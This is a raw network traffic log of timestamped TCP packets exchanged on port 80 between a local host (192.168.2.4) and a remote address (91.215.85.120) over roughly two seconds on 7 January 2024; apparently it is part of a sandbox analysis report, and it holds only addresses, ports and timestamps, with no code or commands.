Jan 7, 2024 05:29:40.167476892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.167572975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.167618990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.169399977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.169552088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.169614077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.173166990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.173226118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.173269987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.176278114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.176377058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.176434040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.177382946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.177439928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.177494049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.187520981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.187587023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.187705994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.245537996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.245562077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.245723009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.307810068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.307938099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.308012962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.308032990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.308080912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.308238983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.309448957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.309506893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.309572935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.309591055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.309654951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.309667110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361270905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361347914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.361356020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361429930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361491919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361546040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.361618996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.361710072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.361754894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.363506079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.363548040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.363567114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.367043018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.367100000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.367134094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.370357990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.370445013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.370512009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.371346951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.371367931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.371414900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.381704092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.381762028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.381791115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.440596104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.440654993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.440704107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.502885103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.502932072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.502998114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.503067970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.503254890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.505006075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.505043030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.505079031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.505089998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.505146027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.505233049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.505280018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.556648016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.556730986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.556844950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.556854963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.556957960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.557017088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.557063103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.557178974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.557204962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.559384108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.559498072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.559664965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.562680006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.562813044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.562861919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.566628933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.566720963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.566785097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.566812038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.566854000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.566869974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.566941977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.566987038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.567076921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.576680899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.577419043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.635490894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.635646105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.635699034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.697062969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.697088003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.697180986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.698820114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.698926926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.698947906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.698997021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.699086905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.699126005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.699126959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.699156046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.701442957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.750348091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750381947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750396013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750408888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750535965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750555038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.750637054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.750637054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.750637054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.753146887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.753232002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.753295898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.756411076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.756439924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.756501913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.760560989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760612011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760677099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.760704994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760782003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760832071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760880947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.760948896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.760992050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.771224976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.771270990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.771358967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.829385042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.829494953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.829608917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.891148090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.891386032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.891613960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.893122911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.893189907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.893255949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.893302917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.893351078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.893402100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.895371914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.895431042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.895596981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.945897102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.945996046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.946078062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.946166992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.946202993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.946335077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.946372986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.946403980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.947766066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.947845936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.948028088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.948259115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.950438976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.950489998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.950546026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.954216957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.954335928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.954454899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.954504967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.954555988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.954600096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.954646111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.954713106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.955148935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.965380907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.965431929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.965471983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.023248911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.023267031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.023330927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.088402033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.088433981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.088506937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.088634968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.088653088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.088704109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.088705063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.088727951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.089447975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.090296984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.090311050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.090353966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.140336990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.140388966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.140451908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.140455961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.140532017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.140578985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.141877890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.141980886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.142035961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.142513037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.142551899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.142597914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.146472931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.146498919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.146554947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.148652077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.148729086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.148773909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.148785114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.148798943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.148838043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.149321079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.149409056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.149451971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.159421921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.159440041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.159518957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.218647957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.218730927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.218787909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.283780098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.284177065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.284241915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.284312963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.284470081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.284512997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.285011053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.285087109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.285132885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.285487890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.285790920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.285829067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.334878922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.334942102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.335004091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.335308075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.335443974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.335486889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.336945057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.337181091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.337223053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.337238073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.337352037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.337393045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.341049910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.341185093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.341228008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.342999935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343111992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343158007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.343173981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343291998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343337059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.343703985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343813896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.343854904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.353648901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.353724957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.353775978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.412765980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.412844896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.412920952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.478682041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.478785038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.478840113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.478940964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.479096889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.479136944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.479697943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.479768991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.479806900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.480561972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.480750084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.480798006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.528909922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.528979063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.529057980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.529293060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.529380083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.529532909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.530935049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.531135082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.531183004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.531506062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.531563044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.531604052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.535485983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.535593033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.535640955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.537281990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.537403107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.537446022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.537493944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.537586927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.537626028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.538146973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.538330078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.538379908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.547672033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.547789097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.547844887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.608036995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.608129978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.608179092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.674824953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.674879074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.674967051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.675067902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.675137043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.675224066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.676368952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.676446915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.676512003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.676620960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.676628113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.676737070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.724404097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.724490881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.724729061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.724890947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.725013971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.725070000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.728171110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.728239059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.728272915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.728293896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.728344917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.728394985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.730551958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.730621099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.730662107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:41.732353926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:41.732462883 CET	80	49735	91.215.85.120	192.168.2.4
